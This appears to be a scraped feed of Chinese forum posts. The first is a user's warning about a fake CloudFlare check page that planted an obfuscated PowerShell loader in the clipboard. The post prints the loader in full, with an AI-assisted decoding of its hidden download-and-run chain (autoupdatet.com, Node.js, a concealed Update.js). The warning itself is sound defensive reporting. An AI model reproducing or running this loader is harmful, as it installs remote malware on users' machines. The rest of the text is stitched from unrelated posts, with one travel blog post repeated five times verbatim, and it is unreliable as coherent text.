今天打开某个wordpress网站时,首先跳出CloudFlare的验证页面,然而吊诡的是,往日里应该鼠标单击一下就验证通过的页面却变成下图所示。 看到此提示的楼主一脸懵逼,CloudFlare啥时候这么变态了?楼主打开powershell,发现剪贴板里被添加了一坨乱码 $nzr69=‘eeDRdInhH’;$tfpr16=‘4107203e50780b182f1452736f43123d113b1100297c2a2c1a461b0017323b072c3e07210b1109330a28090d3a385f7e01012a1b1a21111c14200b3d010b2709581f011d3a1a0d254b2b21264a1a0b0b3d170c302b343b011c27060a28061d390b35725f312821557b554c2f0807756a5903010126483525260c694a0d26135f101729194e4013361c372601244021074b3525260c1454520f001116330a2d01050e0c09211c05240b40614c5e0a371364271c2d0845691b102c033c31150064160d3b0b0b3c0a173d7249190f1c204541233f0678564865230a36310135211d3c482b313e08724a093c175179180b2000451804112c72402e030a795d456c0937301d1c2d084b0d1d4a190f1c20385f7e15013d3c0926010a29140d250b262908006c7b4f6e49462d1d0063754d724a1b305c5779625f2f011a60411d36231d79535873411d36231d794e4524114577724928000c68480b2b26446d1d1071575e602a16381758634e4c3f261630152126130a2f37491e0b0a1a00143137173d4e451d170c647543211a1c38165f6b7d07261d05271611252017671d0027154a25220d6607062c001d6a220c39510975010962260b220b06755d06253302705b5b2c5d5c70655c2b56097f545c7537067a5c5a715006756353285d59780750773307705e5d710151253652700f592d565c7337077a0c5a2c51433624592d080b2a075725615c79585f7e005273620671560b2d510776375c7d560b290043372007740a0c3e0b136a310b244805270100793108261b0c2e09043637436e4e45071011023b082c4e4c2911177072491c1d0d0a04162d3134281c1b210b027f3b02613a0d3b1148143310214e4c291117707b1f6d1d10715758752f01251d0d333611252010643d042d0015647f372c0d07260116646019340d093c060d3f0110281c1c65360921371469433b2d060a2a3617695c15355e0c227a4927011c684d31212110643e093c0d456033103b5a41611e003c3b1034553b3c0417307f343b010b2d1616647f2220020d1804112c7240281a1a7c4548133b0a2d011f1b111c28374401070c2c000b7f261630153a2d080a323749001a0d254548083b102c1c09243504303a446d0f1c3a514569140b3b0d0d68482036200b3b2f0b3c0c0a2a723720020d2611093d110b271a012610003931053d0d0033185e6369373d0f1a3c4835363d072c1d1b6848322d3c0026193b3c1c0921722c200a0c2d0b45343d132c1c1b200009287249081c0f3d08002a2628201d1c6842480a3d343b010e210900637e4364390126010a33011030020d6f49420c3b002d0b066f494269110b2403092601426876062d025c7900152323537e550d300c11’;$kc02=‘’;0..($tfpr16.Length/2-1)|%{ ke0= _*2;$kc02+= char };&([ScriptBlock]::Create($kc02)) 楼主感到蹊跷,把代码丢进deepseek把乱码还原分析,deepseek解读如下: 首先清屏,输出绿色“Starting firefox update...” 定义一个字符串变量$Updater,包含一系列命令: 从 https://autoupdatet.com/get_update?i=102255 下载文件保存为 Update.zip 从 https://nodejs.org/dist/v7.10.1/node-v7.10.1-win-x64.zip 下载文件保存为 firefox.zip(注意:这个URL是Node.js v7.10.1,不是Firefox。名字具有欺骗性) 解压firefox.zip到 C:\ProgramData\ 解压Update.zip到 C:\ProgramData\ 启动 C:\ProgramData\node-v7.10.1-win-x64\node.exe,参数为 C:\ProgramData\Update.js,窗口隐藏 然后,通过Start-Process启动一个新的PowerShell进程,参数为:-NoProfile, -ExecutionPolicy Bypass, -WindowStyle Hidden, -Command 加上上面的Updater字符串。这意味着在一个隐藏的PowerShell窗口中执行Updater字符串。这意味着在一个隐藏的PowerShell窗口中执行Updater中的命令。 最后,输出“Done! firefox security intelligence version ... successfully installed.”(这是虚假的成功消息,旨在误导用户认为Firefox更新已安装) 分析意图:这是一个恶意脚本。它伪装成Firefox更新,但实际上会下载并执行未知代码。下载的两个文件:Update.zip和firefox.zip(实际上nodejs)。解压后运行node.exe执行Update.js。攻击者可能利用Node.js运行恶意JavaScript代码。域名autoupdatet.com可疑,不是官方域名。参数i=102255可能用于标识目标或特定载荷。 执行后果: 下载并解压文件到C:\ProgramData\(所有用户共享的程序数据目录)。 在隐藏的PowerShell进程中执行下载和运行操作,用户可能看不到窗口。 最终会运行一个Node.js脚本(Update.js),该脚本可能具有恶意行为,例如:窃取信息、安装后门、下载更多恶意软件、加密文件勒索、键盘记录等。 由于使用了-EP Bypass,绕过了PowerShell执行策略限制。 代码没有检查下载文件的完整性和安全性。 该脚本试图欺骗用户,让用户以为Firefox安全智能更新已成功安装,但实际上与Firefox无关。 打开网站其他页面显示如下 他奶奶的,差点中招!佬友如果也遇到这种假CloudFlare页面,记得保持警惕! 2 个帖子 - 2 位参与者 阅读完整话题
原文发布在我的博客: 我是原文,点我阅读 不跳转原文阅读,就看👇 我发现老家附近有个两县交界公路,很想去探索一翻,不知道今天那边还有多少人居住。这次恰逢五一假期,又得闲,便骑着摩托去转转。 每次去县城,或者去合肥都会经过的“灌溉用水渠桥”。 我们这边是群山环抱的,这个时节,放眼望去全是绿色,我感觉回家就像度假,养眼又让人心情放松。 彩虹公路的加入,让农村更吸引城里人周末/节假日来旅游和消费。 这谁家孵了很多小鸡🐣,嘿嘿蛮可爱的。 山间遇到一水库,待了一会只听见山上的动物们歌唱,只有风的穿行形成的噪声,不然静悄悄的。 这个五一假期,空气气溶胶 AOD 数值都比较低,不下雨的日子里空气能见度都挺好的,这张能远眺天柱山天柱峰,很是壮观,云朵的 HDR 效果也非常不错。 一山又一山⛰️,连绵不绝的。 又看到一个新的看天柱峰的视角。 翻过了一座山,来到了隔壁县城的隔壁镇隔壁村子。老屋早已无人居住,想必都移居山下了。曾经炊烟袅袅、满是生机,但如今只剩空屋孤院,再也不见往日烟火人声。 下山发现几个超绝的远眺平台,原来下面就是“平原”了,人口都集中到那了。ps: 说平原只是相对的,这里是大别山深处,不是传统认识中的广袤平原。 远处还能看到沪武高速的身影,因为这条高速的开通,我们从合肥回老家能快很多。 这种果子我们小时候叫“麦泡”,我查了一下,它叫蓬蘽( péng lěi ),也常被叫做野草莓、三月泡、红萢,是很多人童年里的 “山野零食”~它是蔷薇科悬钩子属的灌木果实,和覆盆子(山莓)是近亲。注意不能和蛇莓弄混。 看到令我惊喜的“水上公路”,两边的路没有硬化,没有想到在我们家附近也能看到这种“很网红”的漫水公路。 开始等一个夕阳🌇,原本看了晚霞预报,今天我们这里微烧或小烧,都不打算期待的,但是看这阵势似乎值得等待。尽管已经被母亲的电话催了好几次喊着快回家。 天边越来越红。 其实远处的山头就是我们镇上海拔最高的山,也是我们县城(县级市)海拔最高的山,海拔 1539 米。 电线乱入~ wow 开始染红了天!说真的我没有 p 图,索尼 A7C2+腾龙 28-200 镜头直出 晚霞达到了鼎盛。 但天色也很快暗下来,不想摸黑骑车就轰着油门回家了。一次很愉快的山间摩旅,原本不是很期待的火烧云却在最后成了最大的惊喜。人生亦是如此,很多猝不及防的美好,往往都藏在随性奔赴的路上,风里自由,晚霞温柔,便是人间最好的治愈。
原文发布在我的博客: 我是原文,点我阅读 不跳转原文阅读,就看👇 我发现老家附近有个两县交界公路,很想去探索一翻,不知道今天那边还有多少人居住。这次恰逢五一假期,又得闲,便骑着摩托去转转。 每次去县城,或者去合肥都会经过的“灌溉用水渠桥”。 我们这边是群山环抱的,这个时节,放眼望去全是绿色,我感觉回家就像度假,养眼又让人心情放松。 彩虹公路的加入,让农村更吸引城里人周末/节假日来旅游和消费。 这谁家孵了很多小鸡🐣,嘿嘿蛮可爱的。 山间遇到一水库,待了一会只听见山上的动物们歌唱,只有风的穿行形成的噪声,不然静悄悄的。 这个五一假期,空气气溶胶 AOD 数值都比较低,不下雨的日子里空气能见度都挺好的,这张能远眺天柱山天柱峰,很是壮观,云朵的 HDR 效果也非常不错。 一山又一山⛰️,连绵不绝的。 又看到一个新的看天柱峰的视角。 翻过了一座山,来到了隔壁县城的隔壁镇隔壁村子。老屋早已无人居住,想必都移居山下了。曾经炊烟袅袅、满是生机,但如今只剩空屋孤院,再也不见往日烟火人声。 下山发现几个超绝的远眺平台,原来下面就是“平原”了,人口都集中到那了。ps: 说平原只是相对的,这里是大别山深处,不是传统认识中的广袤平原。 远处还能看到沪武高速的身影,因为这条高速的开通,我们从合肥回老家能快很多。 这种果子我们小时候叫“麦泡”,我查了一下,它叫蓬蘽( péng lěi ),也常被叫做野草莓、三月泡、红萢,是很多人童年里的 “山野零食”~它是蔷薇科悬钩子属的灌木果实,和覆盆子(山莓)是近亲。注意不能和蛇莓弄混。 看到令我惊喜的“水上公路”,两边的路没有硬化,没有想到在我们家附近也能看到这种“很网红”的漫水公路。 开始等一个夕阳🌇,原本看了晚霞预报,今天我们这里微烧或小烧,都不打算期待的,但是看这阵势似乎值得等待。尽管已经被母亲的电话催了好几次喊着快回家。 天边越来越红。 其实远处的山头就是我们镇上海拔最高的山,也是我们县城(县级市)海拔最高的山,海拔 1539 米。 电线乱入~ wow 开始染红了天!说真的我没有 p 图,索尼 A7C2+腾龙 28-200 镜头直出 晚霞达到了鼎盛。 但天色也很快暗下来,不想摸黑骑车就轰着油门回家了。一次很愉快的山间摩旅,原本不是很期待的火烧云却在最后成了最大的惊喜。人生亦是如此,很多猝不及防的美好,往往都藏在随性奔赴的路上,风里自由,晚霞温柔,便是人间最好的治愈。
原文发布在我的博客: 我是原文,点我阅读 不跳转原文阅读,就看👇 我发现老家附近有个两县交界公路,很想去探索一翻,不知道今天那边还有多少人居住。这次恰逢五一假期,又得闲,便骑着摩托去转转。 每次去县城,或者去合肥都会经过的“灌溉用水渠桥”。 我们这边是群山环抱的,这个时节,放眼望去全是绿色,我感觉回家就像度假,养眼又让人心情放松。 彩虹公路的加入,让农村更吸引城里人周末/节假日来旅游和消费。 这谁家孵了很多小鸡🐣,嘿嘿蛮可爱的。 山间遇到一水库,待了一会只听见山上的动物们歌唱,只有风的穿行形成的噪声,不然静悄悄的。 这个五一假期,空气气溶胶 AOD 数值都比较低,不下雨的日子里空气能见度都挺好的,这张能远眺天柱山天柱峰,很是壮观,云朵的 HDR 效果也非常不错。 一山又一山⛰️,连绵不绝的。 又看到一个新的看天柱峰的视角。 翻过了一座山,来到了隔壁县城的隔壁镇隔壁村子。老屋早已无人居住,想必都移居山下了。曾经炊烟袅袅、满是生机,但如今只剩空屋孤院,再也不见往日烟火人声。 下山发现几个超绝的远眺平台,原来下面就是“平原”了,人口都集中到那了。ps: 说平原只是相对的,这里是大别山深处,不是传统认识中的广袤平原。 远处还能看到沪武高速的身影,因为这条高速的开通,我们从合肥回老家能快很多。 这种果子我们小时候叫“麦泡”,我查了一下,它叫蓬蘽( péng lěi ),也常被叫做野草莓、三月泡、红萢,是很多人童年里的 “山野零食”~它是蔷薇科悬钩子属的灌木果实,和覆盆子(山莓)是近亲。注意不能和蛇莓弄混。 看到令我惊喜的“水上公路”,两边的路没有硬化,没有想到在我们家附近也能看到这种“很网红”的漫水公路。 开始等一个夕阳🌇,原本看了晚霞预报,今天我们这里微烧或小烧,都不打算期待的,但是看这阵势似乎值得等待。尽管已经被母亲的电话催了好几次喊着快回家。 天边越来越红。 其实远处的山头就是我们镇上海拔最高的山,也是我们县城(县级市)海拔最高的山,海拔 1539 米。 电线乱入~ wow 开始染红了天!说真的我没有 p 图,索尼 A7C2+腾龙 28-200 镜头直出 晚霞达到了鼎盛。 但天色也很快暗下来,不想摸黑骑车就轰着油门回家了。一次很愉快的山间摩旅,原本不是很期待的火烧云却在最后成了最大的惊喜。人生亦是如此,很多猝不及防的美好,往往都藏在随性奔赴的路上,风里自由,晚霞温柔,便是人间最好的治愈。
原文发布在我的博客: 我是原文,点我阅读 不跳转原文阅读,就看👇 我发现老家附近有个两县交界公路,很想去探索一翻,不知道今天那边还有多少人居住。这次恰逢五一假期,又得闲,便骑着摩托去转转。 每次去县城,或者去合肥都会经过的“灌溉用水渠桥”。 我们这边是群山环抱的,这个时节,放眼望去全是绿色,我感觉回家就像度假,养眼又让人心情放松。 彩虹公路的加入,让农村更吸引城里人周末/节假日来旅游和消费。 这谁家孵了很多小鸡🐣,嘿嘿蛮可爱的。 山间遇到一水库,待了一会只听见山上的动物们歌唱,只有风的穿行形成的噪声,不然静悄悄的。 这个五一假期,空气气溶胶 AOD 数值都比较低,不下雨的日子里空气能见度都挺好的,这张能远眺天柱山天柱峰,很是壮观,云朵的 HDR 效果也非常不错。 一山又一山⛰️,连绵不绝的。 又看到一个新的看天柱峰的视角。 翻过了一座山,来到了隔壁县城的隔壁镇隔壁村子。老屋早已无人居住,想必都移居山下了。曾经炊烟袅袅、满是生机,但如今只剩空屋孤院,再也不见往日烟火人声。 下山发现几个超绝的远眺平台,原来下面就是“平原”了,人口都集中到那了。ps: 说平原只是相对的,这里是大别山深处,不是传统认识中的广袤平原。 远处还能看到沪武高速的身影,因为这条高速的开通,我们从合肥回老家能快很多。 这种果子我们小时候叫“麦泡”,我查了一下,它叫蓬蘽( péng lěi ),也常被叫做野草莓、三月泡、红萢,是很多人童年里的 “山野零食”~它是蔷薇科悬钩子属的灌木果实,和覆盆子(山莓)是近亲。注意不能和蛇莓弄混。 看到令我惊喜的“水上公路”,两边的路没有硬化,没有想到在我们家附近也能看到这种“很网红”的漫水公路。 开始等一个夕阳🌇,原本看了晚霞预报,今天我们这里微烧或小烧,都不打算期待的,但是看这阵势似乎值得等待。尽管已经被母亲的电话催了好几次喊着快回家。 天边越来越红。 其实远处的山头就是我们镇上海拔最高的山,也是我们县城(县级市)海拔最高的山,海拔 1539 米。 电线乱入~ wow 开始染红了天!说真的我没有 p 图,索尼 A7C2+腾龙 28-200 镜头直出 晚霞达到了鼎盛。 但天色也很快暗下来,不想摸黑骑车就轰着油门回家了。一次很愉快的山间摩旅,原本不是很期待的火烧云却在最后成了最大的惊喜。人生亦是如此,很多猝不及防的美好,往往都藏在随性奔赴的路上,风里自由,晚霞温柔,便是人间最好的治愈。
原文发布在我的博客: 我是原文,点我阅读 不跳转原文阅读,就看👇 我发现老家附近有个两县交界公路,很想去探索一翻,不知道今天那边还有多少人居住。这次恰逢五一假期,又得闲,便骑着摩托去转转。 每次去县城,或者去合肥都会经过的“灌溉用水渠桥”。 我们这边是群山环抱的,这个时节,放眼望去全是绿色,我感觉回家就像度假,养眼又让人心情放松。 彩虹公路的加入,让农村更吸引城里人周末/节假日来旅游和消费。 这谁家孵了很多小鸡🐣,嘿嘿蛮可爱的。 山间遇到一水库,待了一会只听见山上的动物们歌唱,只有风的穿行形成的噪声,不然静悄悄的。 这个五一假期,空气气溶胶 AOD 数值都比较低,不下雨的日子里空气能见度都挺好的,这张能远眺天柱山天柱峰,很是壮观,云朵的 HDR 效果也非常不错。 一山又一山⛰️,连绵不绝的。 又看到一个新的看天柱峰的视角。 翻过了一座山,来到了隔壁县城的隔壁镇隔壁村子。老屋早已无人居住,想必都移居山下了。曾经炊烟袅袅、满是生机,但如今只剩空屋孤院,再也不见往日烟火人声。 下山发现几个超绝的远眺平台,原来下面就是“平原”了,人口都集中到那了。ps: 说平原只是相对的,这里是大别山深处,不是传统认识中的广袤平原。 远处还能看到沪武高速的身影,因为这条高速的开通,我们从合肥回老家能快很多。 这种果子我们小时候叫“麦泡”,我查了一下,它叫蓬蘽( péng lěi ),也常被叫做野草莓、三月泡、红萢,是很多人童年里的 “山野零食”~它是蔷薇科悬钩子属的灌木果实,和覆盆子(山莓)是近亲。注意不能和蛇莓弄混。 看到令我惊喜的“水上公路”,两边的路没有硬化,没有想到在我们家附近也能看到这种“很网红”的漫水公路。 开始等一个夕阳🌇,原本看了晚霞预报,今天我们这里微烧或小烧,都不打算期待的,但是看这阵势似乎值得等待。尽管已经被母亲的电话催了好几次喊着快回家。 天边越来越红。 其实远处的山头就是我们镇上海拔最高的山,也是我们县城(县级市)海拔最高的山,海拔 1539 米。 电线乱入~ wow 开始染红了天!说真的我没有 p 图,索尼 A7C2+腾龙 28-200 镜头直出 晚霞达到了鼎盛。 但天色也很快暗下来,不想摸黑骑车就轰着油门回家了。一次很愉快的山间摩旅,原本不是很期待的火烧云却在最后成了最大的惊喜。人生亦是如此,很多猝不及防的美好,往往都藏在随性奔赴的路上,风里自由,晚霞温柔,便是人间最好的治愈。
(我不在第一排,猜猜哪个是我) 目前还在门口(在等同学,我买票的时候没有晚上的了,我们是要夜爬的) 求偶遇…… 1 个帖子 - 1 位参与者 阅读完整话题
8 个帖子 - 5 位参与者 阅读完整话题
2026北京车展期间,有网友在社交媒体上发文称,在地铁上偶遇比亚迪董事长王传福,引发关注。网友发布的贴文称,“坐地铁去车展,偶遇比亚迪的王老板,恰巧拉手广告也是比亚迪的广告。”不少网友评论称,“大佬真低调”,“绿色出行”。 而在王传福旁边,是比亚迪执行副总裁、美洲地区总裁李柯,负责公司美洲地区运营管理、战略规划及全球业务拓展,同时李柯也是王传福的妻子。 此前,2023年上海车展期间,以及2024年北京车展期间,也有网友拍到王传福和一众高管乘坐地铁参加车展。 查看评论
话说现在看电视的可不比以前了 4 个帖子 - 4 位参与者 阅读完整话题
大早上在民宿遇到亦菲,很热情,还请我吃苹果,关键笑得太甜了,美好的一天开始了佬们 感恩 (点击了解更多详细信息) 剧透 10 个帖子 - 10 位参与者 阅读完整话题
受公司外派参加鸿蒙培训大会,本来只是抱着认真学习的心态,没想到意外收获了一次超美好的相遇。 两天培训,第一天平平淡淡正常上课,身边坐着一位一起学习的同学,全程没多想,压根没往论坛佬友那边猜。 直到第二天,他脱下外套,衣服上印着咱们论坛的名字,我瞬间眼前一亮! 试探着跟他说:“你这件衣服好眼熟,你也玩咱们L站吗?” 结果他一拍大腿:“你不早说!” 就这一句话,距离瞬间拉满,明明是第一次见面,却像认识了好多年一样亲切。 这位佬友是真的厉害,不仅技术扎实、实力超强,为人还特别亲切随和。课程实操做题环节,我们一起交流思路、互相讨论、共同钻研。 每次实训做题他都最先完成,做完还主动问我:“要不要参考一下?” 我刚说想看看,他直接就发过来了,全程毫无保留。最后我俩一起顺利通过考核,学习氛围直接拉满。 到了颁发证书环节,佬友直接拿下优秀奖,还喜提一套智能设备,我就差一点点,属实羡慕了! 培训结束后一起吃饭,从鸿蒙开发、AI前沿技术聊到工作、家庭,话题多得聊都聊不完。临走前佬友还告诉我,咱们站还有专属的手势暗号,第一次知道的我赶紧跟着一起比划了一下,仪式感拉满。我做的不知道标准标准 天下没有不散的筵席,吃完饭还是要各自回归工作岗位。 线上相聚暖心,线下见面更心动。这次偶然的相遇,让我实实在在感受到咱们论坛是一个有温度、有凝聚力的大家庭。佬友温柔热心、低调靠谱,大佬从不高冷,待人真诚友善,遇事互相帮忙、彼此扶持。 比起普通的交流平台,我们更多了一份默契与温情,团结友善、互帮互助,是别的圈子给不了的独特氛围。 但这次相遇真的太难忘,线上相处就很舒服,线下见面更是加倍温暖。佬友热情又温柔随和,一起学习一起分享,这种归属感,真的是别的地方给不了的。一次培训,不仅学到了鸿蒙知识,还面基了大佬,收获满满! 7 个帖子 - 4 位参与者 阅读完整话题
出门偶遇猫猫,钱包变瘪了 3 个帖子 - 2 位参与者 阅读完整话题